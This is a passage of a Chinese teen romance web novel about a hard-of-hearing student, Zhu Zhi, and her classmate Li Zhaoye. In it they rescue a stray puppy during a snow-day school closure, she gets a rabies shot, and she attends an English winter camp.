祝枝顿住步子，定在路灯底下，抬头时，眸里盛满了细细碎碎的光。
“我要学习。”她眼睛还是红红的，说这句话的时候带着平日的语气里没有的坚定。
“熬夜学？”李昭野眉头轻皱，“没必要吧。”
他身上还是穿着表演时的西装，外面披着一件黑色棉服，李昭野个子高，长及膝盖的棉服衬得他整个很是高大，敞开的领口处露出精致的西装领，以及一条浅棕色的领带，和祝枝说话时要微微低下头，灼灼的黑眸将她牢牢盯住。
“学习不能急于求成，还是要讲究循序渐进的，这段时间英语老师不就夸你有进步了吗？继续保持就行了。”
祝枝紧抿着下唇，不吭声。
“祝枝，你想考去哪个大学？”
祝枝愣了一下，小声说：“我还没想好。”
其实已经有很想去的学校了，只是她现在的分数还够不上，每次被问及这个问题的时候，祝枝都会选择避而不谈，因为她不知道该如何应对对方脸上诧异的表情。
“你呢？”她问李昭野。
李昭野眸色微滞，偏偏是被祝枝问及这个问题，他得好好回答。
只是那双认真的眸沉了一抹漂亮的月色，姣好的面容上带着几分期待和真诚，李昭野呼吸微顿，轻轻撇开了头，说：“我也还没想好。”
“体校吗？”她小声呢喃问道。
李昭野心一惊，她总不至于偷偷猜测自己要考的学校，然后什么都不考虑，一股脑报过去吧？
“没有，我都说了还没考虑好的。”
他的语气有些急，听起来挺凶的。
祝枝似是被他吓了一跳，唇微张，又闭上。
李昭野有点懊恼，他烦躁地皱起眉，抬腿向前走去。
“感觉快下雨了，快点走吧。”
送祝枝到她家楼下这事一回生二回熟，李昭野站在台阶下，穿着白色棉袄的小姑娘往上走了两步，又扭头过来，圆溜溜的眼睛看着他，欲言又止的。
“怎么了？”
这话一出，李昭野又有点恼怒了，他怎么总是控制不好对祝枝说话的语气，这样听起来是不是也太凶了？
果然，祝枝脸上犹豫的神色更加明显了。
李昭野只好站在原地，摆出不听完她的话不走的姿态。
“那个……你明天会去学校吗？”
她怎么一下又变得这么主动，这么黏人，可他今天好像凶过她几次了，这下怎么还能继续冷硬着声音说话呢。
祝枝站在原地等他的回答，压根看不出神色冷淡的李昭野脑子里闪过这么多的纠结情绪。
过了半晌，他说：“还不确定。”
“噢。”
她看起来好像有点失望，李昭野又补了一句：“有什么事吗？”
“就是，我想麻烦你帮我纠正一下英语发音。”
祝枝的声音总是放得很轻，在重而冷的冬夜的风里显得飘忽，李昭野耐着性子听她讲完，不由得疑惑。
“你不是最不愿意张嘴读吗？”
祝枝哪好意思说是因为觉得自己太差劲了，光是想到这个念头就让她又止不住生出些难过来，细眉微微簇起，被冻红的脸蛋看起来手感很好，苹果肌因为抿唇的表情而鼓鼓的，还真像颗苹果。
……她好会装可怜。
“行了，教你就是了，到时候别又因为读的不好掉眼泪啊。”李昭野语气冷硬道。
祝枝小声辩驳：“上次没有掉眼泪……”
涌过来的一阵风穿过长长的房屋缝隙，吹得祝枝睫毛轻颤，眼睛都有些睁不开。
“回家去吧，明天我会去学校的。”
不是，这语气又好像有点太温柔了吧？等会她又误会了怎么办？
祝枝乖乖点头。
目光追随着那道身影的消失，李昭野站在楼下吹了好一阵冷风冷静，半天也没想好到底该怎么和祝枝相处，最后只能烦躁地抓了一把头发，回了家。
这杯奶茶并没有让祝枝亢奋起来，她不知道李昭野把她的茶换成了牛奶底，才刚吹完头发，坐到书桌前准备拿起书读英语，眼皮就不受控制地想要凑到一块去。
她可真是不适合学英语啊，昏昏沉沉睡着前，祝枝心想。
祝枝的决定比李昭野想象中还要更坚定，她第一次在早读的时候小声跟念英语单词，虽然混在各式各样背书的声音里，但李昭野还是捕捉到了她的声音。
李昭野虽然到学校了，但他课间基本没闲过，座位旁络绎不绝的人来找他聊天，偶尔还要约着一块去小卖部，或者去上个厕所，十分钟很快就结束了。
祝枝可算蹲到了一个他闲下来，坐在位置上打开心消消乐的课间。
“可以听我念念吗？”
温柔的声音响起，李昭野抬眸看她，祝枝已经拿好书，颇有几分紧张地面对李昭野坐。
李昭野说：“念吧。”
祝枝深吸了一口气，开始念。
李昭野慢吞吞打完一个哈欠后，又说了一遍：“念啊。”
祝枝错愕抬头，指着书：“已经读了两句了。”
李昭野露出诧异的表情：“教室里的蚊子声都比你的声音大。”
这个天气教室里又不会有蚊子，祝枝在心里嘀咕道。
她清了清嗓子，再次开始。
这次的声音总算是能听到一些了，李昭野淡淡地嗯了一下表示音量还行，这声嗯可是给了祝枝很大的鼓舞，她瞬间就多了不少的自信，蹩脚地读完了一整篇课文。
听她念完，李昭野百无聊赖地撑着下巴，把手机随手丢进口袋里，然后拿过她的书。
“这是你昨天晚上练的吗？”
说到这个，祝枝有点愧疚：“没有，昨天晚上睡着了。”
“噢。”李昭野看了眼她记满了笔记的英语书，发音不怎么样的话在喉咙里转了一圈，变成了一句鼓励，“还行，比以前好。”
李昭野第一次见到一个人的眼睛能亮得这么快。
“真的吗？”
“不是，你这个中文说起来都这么小声，怎么大声读英语啊？”
祝枝羞赧地笑了笑。
“大点声说话！”
李昭野把这句话一字一字的念了出来。
祝枝用力点了点头：“好。”
她想象中是感叹号结尾的肯定，到了李昭野耳朵里变成了一个不痛不痒的小句号，也没大很多嘛。
但李昭野还是选择了夸赞，毕竟
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都和祝枝当了这么久的同桌了，她吃哪一套，他还是很清楚的。
果然，被李昭野再次肯定之后，祝枝眉梢都是明晃晃的笑意，眼睛轻轻弯着，整个人嫩生生的，漂亮得不行，她雀跃着收回视线，马尾从肩头滑落之际，带出一截纯黑色的编织细线。
是那条雪花项链，她已经戴上了。
被打了一轮鸡血的祝枝开始更卖力地练习，她也知道李昭野有几分虚假鼓励的成分在，她也不急，从简单的单词开始，用李昭野教的办法，晚上回了房间后，一边念一边记，平日里洗完澡就摘的助听器，还要重新带上两个多小时，有意地去听自己发出来的声音。
李昭野说，其实根本就没有口音，也不奇怪，让她大点声说话。
他人可真好，祝枝心想。
而这段时间让李昭野的头疼的事情是，祝枝又给他送礼物了。
是一幅手套，也是黑色的。
“圣诞节，元旦节都已经结束了。”李昭野拿着包装精致的盒子，挑眉道。
手套他基本用不上，而且他也不想再收祝枝的礼物了，毕竟每一次不忍心拒绝她的好意，都是在给她一些不切实际的希望，如果真的被她攒够了，向自己坦白心迹怎么办？
“想谢谢你。”祝枝小声补充道，“而且我看你好像不喜欢那条围巾。”
“我很少戴围巾，更不爱戴手套。”
刚刚李昭野不小心瞄到了手套上的logo，是个不便宜的牌子。
“这些我都用不上，你还是退了吧。”
“啊？”祝枝有些错愕，李昭野给她的初印象虽然凶，但这段时间自己怎么麻烦他，他都很有耐心的，怎么一下又变得这样冷硬，他们不是朋友吗？原来他这么不喜欢她送的礼物吗？难怪从没见他戴过。
可祝枝实在是不擅长多次推拉纠缠，蓄了不少勇气的举动触碰到硬壁之后就会立刻收回来。
“好的，对不起。”
盒子被她塞回课桌里，脸上的笑很勉强，她也没抬头，全是装给自己的看的。
盯着她沮丧的脑袋看了好一阵，李昭野眉头轻皱。
语气好像又没拿捏住，凶了些。
无端的烦躁在心里蔓延，李昭野把头发用力揉乱，就像自己被揉乱成一团糟的心脏一样。
略微上升的温度是冬天给过冬人的施舍，乍暖的阳光晒在脸颊上，没什么温度，但很舒服。
祝枝偶尔也在这样的时刻喜欢冬天靠窗的位置。
身旁的动静惹得祝枝想扭头，但想起昨天不太愉快的对话，她又有些犹豫。
“物理作业写了吗？”李昭野的声音响起。
祝枝从课桌里翻出卷子，递给他，视线也跟着望了过去——
李昭野今天戴了围巾，是她送的那一条。
她没选错，李昭野的脸比那个拍图模特的还要更精致更俊朗，戴这条围巾果然帅气逼人。
至于看呆了吗？李昭野在心里嘀咕道，脸都被围巾茸茸的毛挠得有些发热泛痒，他将泛红的耳朵藏进围巾里，随口道：“围巾偶尔能用上，手套是真不爱戴。”
意识到李昭野的示好，祝枝轻轻笑了笑，说：“很适合你。”
这就高兴了，这就不生气了，这就不躲着他了。
算了，下次还是不凶她了，凶了还得哄，有点麻烦。
啧，她挺好哄的，也不怎么麻烦。
16. 16
一场厚重的雪让城市的温度骤降到最低点，学校提前放学的通知发到群里后把被寒冷天气冻得脑袋发蒙的学生们给炸沸腾了，
-急什么？到时候肯定会提前返校补课的
-再怎么提前也得要我在家里过完年吧
-那期末考试呢？
-到时候大年初一就开学
-？？？？你们听谁说的啊
-不是别在这里瞎造谣啊
-到时候不至于上网课吧
-你赶紧闭嘴吧
-都放假了谁还考试啊？
班群里讨论得热火朝天，而祝枝正焉了吧唧地坐在桌子面前记单词，放在一旁的红糖枸杞汤已经喝了大半，并没有缓解她的腹痛，状态欠佳，导致记单词的效率都低了很多。
“枝枝，你们学校从明天开始放假了，你早点休息吧。”
祝枝昏昏沉沉的，没听清楚。
“祝枝。”妈妈推门进了屋里头，走近，拍了拍祝枝的肩膀。
祝枝扭过头，略有些苍白的脸色落入她眼中，吓得她眉头一皱。
“你脸色怎么差？”妈妈双手落在她的肩头，“你别学了，早点休息吧，期末考试都取消了。”
“取消了？”祝枝错愕。
“雪太大了，市里的学校都提前放寒假了。”
“啊？”
祝枝露出失落的神情，她已经将所有安排都如数完成，为了这次期末考试能把英语这科补上来花了很多时间，从早到晚，几乎没有停歇的时候，就算痛经痛到反胃，她也不敢懈怠，就是想着期末考试到了，能检测一下自己最近的学习效果，结果竟然取消了。
她的视线落到对面屋顶那层厚厚的雪上，不由得轻叹了一口气。
“你这孩子，放假都不高兴了。”
“明天去学校拿书。”
“我让爸爸送你。”
祝枝摇头道：“路面有冰，开车危险。”
今天来往在小区里的人挺少的，天气冷，大家都更愿意待在暖和舒适的室内。
祝枝很爱踩在雪层上的感觉，软乎乎的，陷下去后，像是踩在云上，心情都跟着飘飘然起来。
临近学校，祝枝在拐口处的面包店买了一盒热牛奶，边拆开吸管，边朝校门口走去。
路边的草丛积攒起来的雪比路上的还要更多，失去了生机的枝叶被压在雪里，不起眼的一阵风弄得枝头上跌下来一团厚厚的雪，不知又因为什么被推动，祝枝低头细看，竟发现一只正在费劲蠕动的小狗的脚。
祝枝赶忙扒开雪层，躺在里面的小狗不足小臂长，通体是白的，藏在雪里很难被找到，看样子是已经冻坏了，只剩下一点知觉。
祝枝脱掉最外面的棉衣，把它小心翼翼地抱进衣服里包着。
袭来的冷风吹得她牙齿打颤，腹部一阵坠痛，祝枝抱紧了怀里的小狗，快步朝教室走去。
今天老师只花了一点时间布置放假的作业，期末考试虽然没有进行，但还是把期末样卷发了下去，让他们在家里自行完成。
李昭野又迟到了，他穿了件宽大的运动品牌的羽绒服，里面是一件灰色卫衣，黑色卫裤，踩着一双新球鞋，正懒散地打着哈欠。
“赶紧坐好。”
坐在内侧的祝枝就穿了件毛衣，嘴巴冻得有些发白，棉服抱在怀里，一双眼睛盯着李昭野回到座位上。
“你很热吗？外套都不穿。”
她不是很怕冷吗？
祝枝朝他神秘兮兮地招了招手，李昭野狐疑靠近，发现她的白色棉服里包着一只奄奄一息的脏小狗。
“我在校门口捡到的。”她有点兴奋，小声道。
“这也太小了吧。”
李昭野伸手摸了它一下，小狗没什么精神地滚动了一下，感觉自己一只手就能把它给包住，紧接着，小狗发出一声微弱的叫声，李昭野觉着还挺新奇的。
“它还能叫。”
“它叫了吗？”祝枝疑惑道。
李昭野抬眸看了她一眼，又看了小狗一眼。
“很小声。”
“噢。”
李昭野才刚回座位，祝枝就在和他讲话，两个人脑袋凑得很近，不知道在说什么，叽叽喳喳个不停，班主任出声叫她。
“祝枝，你来一下我办公室，其他人解散。”
在一众欢呼声中，祝枝略有些紧张地看向班主任。
她把小狗塞到李昭野怀里，说：“拜托帮我照顾它一下。”
说完，就跟着班主任离开了教室。
“不是，这有什么好照顾的啊。”李昭野低头看向怀里的小狗，无奈皱眉。
“野哥，去哪——这啥呀？”
“我去，哪来的狗啊？”
李昭野位置上瞬间围了很多人，争着想要玩一玩李昭野怀里的小狗。
而祝枝心惊胆战地跟着班主任到了办公室后，绞尽脑汁想了半天的批评都没有来临。班主任打开抽屉，从里面拿出几份冬令营的宣传资料。
“替你筛选出来了，都是专门补习英语的，有意向的话自己选个合适的去报名，好好把这个英语彻底补上来。”
祝枝愣了一下，接过老师手里的东西。
“谢谢您。”她说。
“你这孩子，这有什么好谢的，能不能提高成绩还是要靠你自己。”面对班上乖巧懂事的女孩子，她总是更温和柔软，“你穿这么少，不冷吗？”
“棉袄在教室里。”祝枝小声回答。
“那赶紧回去吧，穿上外套，别感冒了。”
祝枝来办公室的时候还提心吊胆的，现在回去的时候步子都是轻快的，走廊上风大，她快步跑进教室里，却发现自己和李昭野的座位旁边围了不少的人，闹哄哄的。
她走近，结果发现他们好些人都在伸手揉玩那只可怜的小狗。
“李昭野。”
她的声音实在小得可怜，淹没在他们的声音中。
有个女生注意到祝枝，出声道：“你们让让，人家好像要进去。”
祝枝这才得了个能清楚看到小狗的角度，本被捂得严严实实的小狗现在袒露在空气里，可怜兮兮的，她把小狗托付给李昭野照顾，可不是让他分享给自己的朋友玩的！
李昭野抬头看她，却发现祝枝的表情似乎有点生气。
她沉默走近，伸手抱住自己的棉袄，顺带把小狗也一同抱进
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怀里。
周围的人尴尬地面面相觑，自觉不是能留下来继续看热闹的氛围，便四散离开了。
察觉到祝枝怒意的人也就李昭野一个，她兀自收拾着桌里的书和卷子，全都收进书包里之后，她起身看向李昭野，这才发现他一直都在盯着自己的动作。
“你就穿这么点出去？”李昭野皱眉问她。
祝枝扁着嘴，不是很想和他说话的样子。
李昭野不起身，抬眸盯着她的脸。
祝枝经不住他这样的眼神看，下意识垂眸躲开。
下一秒，他起身给祝枝让了位置出去。
难得见她生气，一句话都不跟他说，抱着小狗气冲冲地朝教室外走去。
李昭野皱眉，随手捡的一只小狗，怎么对她这么重要？
外头的风冻得吓人，祝枝紧咬着牙，脸都快要被冻僵了，腹部的痛意是一阵一阵的，身后忽然传来一声叫她的动静，祝枝捕捉到后，听出是李昭野的声音，更加快了脚下的步子。
“祝枝。”李昭野三两步就追上了她，拦在她面前。
“对不起。”他憋出一声冷硬且快速的道歉。
祝枝眸色一滞，诧异地看着他，李昭野已经起身脱下外套，把她怀里的小狗，用两根手指，捡到自己的棉袄里包着。
然后把祝枝的棉袄包住她的身体，动作有些粗暴地替她拉上拉链。
祝枝被拽得都有点站不稳了，她小声嚷道：“书包……”
李昭野哦了一声，帮祝枝把书包从棉袄里卸下来之后，单手背到自己肩头。
“我自己来就行……”祝枝迈开步子追上他。
李昭野以为是她想抱狗，又停下来把棉袄递给她。
“我自己背就行。”祝枝指了指他肩头的包。
“没多重。”李昭野拒绝了她的话。
李昭野家的车已经停到校门口了，他领着人上了车，说要送她和小狗去宠物医院。
司机师傅透过后视镜看向后座的女孩，又是那张熟面孔。
“其实我可以自己去，不用这么麻烦的。”
李昭野撑着车窗犯困，懒洋洋道：“我衣服还在你怀里呢。”
车里温度暖和，小狗也勉强有了些精神，祝枝伸出一只手指，轻轻抚摸着它的脑袋，眼底铺满了细细碎碎的柔光。
“嘶——”
下一秒，她就被仅剩一点力气的小狗用爪子抓了一下。
“怎么了？”
李昭野望了过来，她被抓破的手还悬在空中，一道不深不浅的印子中，渗出一点血迹。
“不是很重。”祝枝想把自己的手从李昭野手里抽出来。
“这可是小野狗，都破皮出血了，不打针，等着得狂犬病？”
“你骂它小野狗，好难听。”
“……”
祝枝皱着鼻子轻笑了一下，说：“我开个玩笑。”
还有闲心开玩笑，还真是毫不在意自己的身体。
“先去疾控中心。”李昭野说。
“好的少爷。”
祝枝本来还想说句先去宠物医院给它看看，但李昭野的脸色看起来不是很好，她还是选择了闭嘴。
17. 17
祝枝在接种室打完针，捂着手从里头走出来，见到抱着小狗的李昭野，他个子高大，站在狭窄的走廊里显得空间有些逼仄。
见祝枝面色耷拉着，李昭野忍不住问：“有这么痛吗？”
“不是……”
祝枝苦恼的点在于这个狂犬疫苗，前前后后居然要打五针。虽然已经放假了，但总得抽时间赶过来打针还是挺麻烦的，而且这事她也不敢跟爸妈讲，不然要因为在路边捡小狗而被唠叨了。
宠物医院离疾控中心还是挺远的，到的时候祝枝都有些昏昏欲睡了，李昭野轻轻推了推她的手臂，叫她下车。
“到了。”
到了医院，祝枝才稍微安心点，因为她刚刚观察到小狗好像受了伤，有血块凝结在毛发里，它一直也没什么精神。负责给小狗做检查的医生询问他们情况，李昭野都替她一一回答了。
“是在路边捡到的，当时整个身体都冻僵了，还没有喂东西，不知道小狗能吃什么。”
医生点了点头，说：“它生命体征已经很微弱了，我先给它处理脚伤。”
瞥见祝枝焦急的神色，李昭野问道：“脚上很严重吗？”
“感觉像是骨折，我得再看看。”
他们俩被安排坐在外面等待，有工作人员给他们递来了两杯热水，适时地减缓了祝枝腹部偶尔传来的坠痛感。
“这只小狗是你们捡的啊，你们还是学生吧，家里会允许养小宠物吗？”
祝枝还真有在考虑这个问题，她要是想把小狗养在家里，估计很难，如果能找到一个愿意收养它的主人就好了，只是在给它寻找新家的这段时间，不知道该把狗狗放到哪里合适。
“你家里能养吗？”李昭野扭头问她。
祝枝慢吞吞地摇了摇头。
她那细细的眉毛蹙了又蹙，很是苦恼的样子。
“我爸妈还在上班。”她想坏主意的时候眼睛还会溜溜地转，“我可以先偷偷带回家。”
李昭野眼底透出些自己都没注意到的笑意，视线盯着她的脸，随口问道：“然后呢？”
“等它好了，就可以给它找一个新主人。”
瞅她对那小狗的宝贝样子，李昭野有些不信。
“你舍得吗？”
自然是舍不得的，特别是听到医生的那句，“如果今天没人捡到它，此时此刻它已经离开这个世界了。”的话，强烈的宿命感让祝枝心生恻隐。
她只是偶然路过，那束风来得不早不晚，压了枝桠许久的雪恰好落下，而它也正好奋力弄出了些动静。如果说一切都是偶然，那么说明她就是能在今天把它微弱的小生命留下的那个人。
“先养在我家吧。”李昭野忽然说。
祝枝的眼睛猛地亮了一下。
“可以吗？”
李昭野也没养过狗，不敢随意打包票。
“只是先养着，我可没说要收养它。”
“到时候我们再给它找一个好主人。”
“但它要是乖，我留着也行。”
这话一出，李昭野就暗骂了自己两句多管闲事，但转念一想，他家的房子空旷到喊一声都能有回音，就住了他一个人，多只闹腾的小狗，倒也不算坏事。
“那太好了！”
李昭野明明还只是说了个假设，祝枝却已经开始提前庆祝了。
要知道，自己没办法养，又舍不得送给别人的情况下，能被朋友收养可是最好的选择了，还是被李昭野这样嘴硬心软的人收养，它一定会过得很开心的。
没错，嘴硬心软，这是祝枝给李昭野增加的新标签。
那道视线实在明亮，李昭野摸了摸鼻子，小声说：“这么开心？我说了要它乖才行。”
小狗的伤不算很重，但它实在太小了，上过药之后，可怜兮兮地摊在桌子上，医生给它喂了些东西，听了祝枝和李昭野的安排后，医生开始详细讲述养它的注意事项。
除了日常的照顾之外，还有伤口的注意，以及复查时间、接种疫苗的安排等等，听得李昭野头都大了。
“好麻烦。”他眉头微皱。
祝枝立马望了过来，眉头皱得紧紧的，鼻子也跟着皱起，眼睛里是可怜兮兮的祈求，就跟那只可怜小狗的眼神一模一样。
“我都会记住的。”
医生的语速很快，祝枝记得费劲，但很认真，她还把重点的注意事项用备忘录存在手机里，就像上课记笔记一样认真。
被处理过伤口，还吃了些东西的小狗多了好些精神，一同回到车上的时候，祝枝小心翼翼地抱着这个小可怜，用手指轻轻地摩挲着它的后背。
“等会又被抓了。”李昭野提醒她。
“不怕。”
她才刚打的疫苗，现在算是免疫时期，怎么咬都没问题。
“先送你回家。”
祝枝扭过看向她，她掌心的小狗也跟着望了过来。
“怎么？还要去我家检查一下它的居住环境吗？”
祝枝忙摇头。
她看着高兴，但实则脸色一直不算好看，嘴唇泛着白，时不时还偷偷捂着肚子，皱着鼻子倒抽气，估计是被冻坏了。
“先送你回去，安置好了它，我会给你拍照的。”
“李昭野，你人真好。”祝枝真诚道。
“……”
李昭野都快被这句话给搞得精神衰弱了。
要不还是别觉得他人好了，现在把这只小脏狗和祝枝一块丢到车外面去还来得及吗？
在外面折腾了一整天，祝枝晚上疼得身体发抖，她不敢跟妈妈说，偷偷吃了一颗布洛芬后，她蜷缩在被窝里，等待李昭野发来消息。
但是他好像忘记了，一直到十点多都没发消息来，祝枝也没好意思去催，等着等着，就在被窝里昏昏沉沉地睡过去了。
一点多，她睁了眼。
李昭野发来了一张照片，是小狗躺在一个崭新的狗窝里的照片，半个小时前发的。
祝枝打了个哈欠，眼底瞬间盈满了水雾。
-还没睡？
-睡了一觉醒来了。
-它好闹腾，晚上都不睡觉的，叫个不停。
被子里被她睡得暖烘烘的，祝枝换了个姿势躺着，回复道。
-陌生的环境可能让它很害怕，所以才会叫唤。
-它现在还在叫个不停吗？
-难道是伤口疼吗？
接连弹出来的消息被李昭野无视，他抬眸看了眼床脚的
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小狗。
-现在消停不少了。
-给它取个名字吧。
-我取吗？
祝枝惊讶。
-不是你捡到的吗？
-但它现在是你的小狗。
李昭野又起身瞄了眼开始犯困的小狗，巴掌点大，小小的身体随着呼吸而轻微起伏着。
他翻了个身滚进被子里，拿着手机回复祝枝的消息。
-叫胖狗，现在太瘦了，得吃胖点。
祝枝被这个难听的名字冲击到，对方正在输入中的标识在闪烁了好几下，最后弹出一句。
-还挺可爱的…
过了大概半个多小时，估计是祝枝翻来覆去，给自己攒了些勇气。
-可以叫雪花吗？
不是条小公狗吗？李昭野挑眉不解。
他慢吞吞打了个哈欠，掐了条语音发过去。
“可以，随你。”
一句随你，把小狗的所有权也分了一半给祝枝，这段时候两个人的聊天频繁极了，基本上每天都要互相聊几句雪花的近况，祝枝平日里话少，但提到小狗相关的事情，叽叽喳喳的消息能发好长一条，李昭野有耐心看完的次数比较少。
“野哥，你这最近天天捧着手机看，在和哪个妹妹聊天呢？”
李昭野头都没抬，轻轻踹了他一脚。
“太反常了，肯定有情况。”
“那可不，每天都聊天，觉得有苗头，谁啊谁啊？我们认识吗？”
一道白色的身影窜过，李昭野抽空瞥了眼瘸着脚飞奔的雪花，皱眉喝道：“雪花！回窝里去！”
小狗被他吓得一个踉跄，程勇想帮忙去扶，但想起李昭野不让他们玩他的狗，只得摇着头感慨道：“好严厉的爹。”
“它脚上伤都没好，费劲蹦跶，到时候又要做手术。”他解释道。
刚刚那几句玩笑话还是说到李昭野心里去了，他本意是和祝枝划清界限，希望祝枝能把更多的心思放在自己身上，好好准备高考，可现在怎么看，都好像跟他原本的计划背道而驰了。
最近都开始互相分享日常了，不应该，太不应该，确实得警醒一下了。
接连几天，李昭野都只挑挑拣拣祝枝的几条消息回复，或者有时候直接忽视，根本就不回。
而祝枝的热忱压根没有被他的冷漠给扑灭，她满心满意都是小狗，每天准时准点问他雪花的情况，李昭野不回，她还会发两个可爱猫咪表情包催促。
李昭野故意拖到很晚才回复，祝枝也没见恼火，兀自坚持不懈地主动。。
但某天，祝枝的聊天框从早到晚都没亮过一次，李昭野点进去检查了几次自己昨天的回复。
虽然回得晚，但态度比前两天热情了不少，还带了一个小黄豆表情呢。
难道是被他不冷不热的态度气到了？李昭野心想。
既然如此，那这样也好，省得他又要花心思去想还怎么在不伤害祝枝的情况下和她划清界线。
挺好的挺好。
在心里重复了几遍后，李昭野掐灭手机，靠在沙发上假寐了一会，半分钟后，他倏地睁开眼睛，一双眸子明亮灼热，泛着不解的光芒。
不是，她连狗都不要了吗？
18. 18
泳池里的水温调到了李昭野最喜欢的温度，他空腹在池子里泡了好一会，身体经过几轮高速训练彻底醒神后，他带着一身的水从泳池里出来了。
雪花正是认了他当主人，粘人的时候，靠近后被李昭野弄了一身的水，它精神地抖搂了一下身上的毛发，眼巴巴地跟在李昭野身后。
李昭野揉了揉它的脑袋，先骂了句：“馋狗。”
埋头干饭的雪花还没碗大，小手扒拉个不停。
李昭野随手拿起桌上的手机，点开微信。
祝枝接连几天没有发来消息，他眉头微皱，心里涌起一股莫名的烦躁。
视线落到吃得正嗨的雪花身上，他打开相机，拍了个视频。
他和祝枝的聊天框里是自己前几天发过去的消息，她没回。
还挺有脾气。
李昭野转而退出和祝枝的聊天界面，把雪花的照片发到了朋友圈里，配文，沉浸式干饭。
很快，上百个评论和点赞冒了出来，他随手翻了一圈，还是没看到祝枝的头像。
不点赞就不点赞，谁在意似的。
他把手机往桌上一丢，下一秒，便响起消息提示。
李昭野拿起一看，嘴角的浅笑僵住。
-野哥上网去！
-我今天能溜出来
-走啊，新赛季猛猛上分！
群里的人已经组好了五排队伍，就等着李昭野一声号令。
-老地方。
所谓老地方，就是李昭野包年的电竞房，他还加了点钱，让经理帮他多弄了几台电脑过来，整整齐齐地摆在房间里，人一到齐就能上机。
李昭野打游戏还挺厉害的，他一般都玩c，除了中辅之外其他位置轮着都能玩，英雄池挺深的，能根据阵容掏英雄，而且基本上都打得不错。
在酒店电竞房，拉上窗帘后，压根没有时间的概念，一眨眼便到了傍晚时分。
今天这分上得有点艰难，队友常有破绽，对方又打得凶，追击能力很强，一局打了将近一个小时，还在苟延残喘。
这局作为带节奏的李昭野格外警惕，他全神贯注地盯着屏幕，放在桌上的手机忽然震动起来，李昭野正欲抬手去把手机盖住，屏幕上的备注让他动作一顿。
犹豫了几秒后，他摘下耳机接通了电话。
“喂？”
刻意放冷淡的语气传到了祝枝耳朵里，她捂住手里的手机，声音压得很低。
“李昭野。”
“怎么了？”
李昭野开了免提，修长的手指继续覆盖到键盘和鼠标上面操作。
“对不起啊，我看到你给我发的消息了，雪花怎么样了？”
“还活着。”李昭野懒洋洋道。
听出他语气里的不悦，祝枝慢吞吞地张了张唇，又闭上。
“两三天不回消息，你很忙吗？”李昭野操控的角色被对面绞杀了，他眉头微皱，把鼠标丢下，拿起手机往后一靠，将祝枝的声音听得更清楚些。
“我手机交给老师了。”她小声解释。
“老师？”李昭野皱眉，“你在哪呢？”
“冬令营，位置比较偏，网速很慢。”她的语速也很慢，听起来有几分可怜巴巴的意思，“对不起。”
“什么时候去的？”
“上周六。”
是她没发消息的那天，原来是因为这个。
“噢。”
李昭野淡淡地回了一声，他的目光盯着屏幕上的游戏，已经被对方推到水晶了，掉了一颗星。
一旁的几个人默契地交换了一个眼神，偷偷摘下耳机听李昭野打电话。
“现在怎么能用手机了？结束了？”
“还没，还有一周。”祝枝小声道，“我说不舒服，想借电话，让我妈妈送些药来。”
“你哪不舒服？”
“不是……我撒谎了。”
“撒谎都学会了。”
祝枝被他调侃得脸颊一烫，窘迫地抿了抿唇后，她问：“你在家吗？”
“在酒店。”
“噢……”
“和程勇他们在打游戏。”
补充完这句之后，李昭野不自在地摸了摸鼻子，余光瞥向那几个看热闹的，递过去一个警告的视线，然后拿着手机起身，把免提切换成听筒，走到窗户边继续讲电话去了。
“不是，她讲话一直都这么慢吗？”程勇疑惑道。
“你听到过她讲话？”坐他旁边的人比他更疑惑。
程勇：“好像还真没有。”
“野哥这啥情况啊？”
“不对劲，不对劲。”
李昭野无视身后那几道八卦的视线，继续和祝枝讲电话。
“我周末带它去打过疫苗了，复查的时候说恢复得挺好的，现在在家里连蹦带跳的。”
祝枝心里高兴，语气也跟着轻快了不少。
“我看到你发的视频了。”
她找了个办公室旁边的小角落里蹲下，今晚是冬令营的团建活动日，不远处灯火通明，人群在这样寒冷的雪夜里彼此取暖，好不热闹。
而她蹲在角落里，下巴搁在膝盖上，蜷缩在这一方小小的空间，感受着安静的风，和李昭野讲电话。
“嗯……疫苗多少钱？我转给你吧。”
李昭野眉头轻皱，不悦道：“我缺这点钱？”
“小狗也有我一份嘛。”祝枝轻声细语解释道，“你出力，我出钱，这样才合理。”
“不用了，下次打疫苗你别又缺席就行。”
“一定不会。”
“哦对了，你自己的第二针疫苗打了吗？不是要打五针吗？”
祝枝愣了一下，心虚道：“好像没打。”
“什么叫好像没打。”
“……没打。”
“你还真是不怕死。”
“网上说，狗狗如果没死，我也不会死的。”
李昭野气笑了，骂道：“神经。”
祝枝抿了抿唇，不敢反驳。
电话里陷入一阵沉默，李昭野抓了抓头发，烦躁地嘶了一声，说：“不是骂你，骂程勇呢。”
一声几不可察的嗯从听筒里传了过来，李昭野也摸不准她有没有生气，于是转移话题问道：“所以你冬令营上得怎么样？”
“还行吧……”
祝枝又看了眼热闹非凡的人群，英语冬令营，每天除了刷题就是练口语，还有听不完的听力材料，偏偏大家一个个还活力非凡，只有她，被弄得头都大了一圈。
听她这为难的语气，李昭野说：“那就是不好。”
“就是，我总是念
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得不好。”
“谁说的？老师？同学？”
她的声音弱弱的：“我自己感觉的。”
“你的感觉不对，你念的挺好的。”
“真的吗？”
李昭野都能想象到她得到这句肯定后，猛然亮起的那双眼睛，整个人灿烂地像是冬日的阳光，叫人挪不开视线。
“真的。”李昭野靠到窗边，语气里是自己都没有察觉的温柔，“好好学，成绩进步是早晚的事。”
祝枝笑弯了眼，在这儿闷了将近一个礼拜的郁结心情在此刻消散得干干净净。
挂了电话后，李昭野回到位置上，柔和了不少的眉眼轮廓在见到屏幕上一个比一个难看的评分后脸一臭。
“打得什么啊？你们几个输出加起来都没我高。”
“我辅助，别算我。”
程勇敲了那人的脑袋一下，骂道：“还说呢，就你最坑。”
祝枝的冬令营还有一个多礼拜，李昭野以为这段时间都收不到她的消息了，没想到在某个晚上，祝枝又给他打了个电话。
李昭野很快接起，第一句话就是问她：“你又不舒服了？”
祝枝糟糕的心情在听到熟悉的声音的瞬间好了不少，她哼笑了两声，说：“老师没怀疑我。”
声音里的沙哑让李昭野察觉到了不对劲：“感冒了？”
“还是哭了。”
被点到真实情况的祝枝心头一颤，下午在课上受的委屈瞬间涌上心头。
下午的口语课，老师安排人两两为一组练习，祝枝落了单，老师替她分配了队员，结果被话语尖酸地拒绝了。
“老师，我不想和一个聋子一队。”
那是个陌生的女孩，她们没说过话，她就这么直视着祝枝，丝毫不觉得自己的话语让人十分不舒服，也有可能她真的认为祝枝是个完全不听见的残疾人士，所以直言不讳也没关系。
祝枝反驳的话被老师先给说了出来，批评了她几句后，老师拿着书来和祝枝对词。
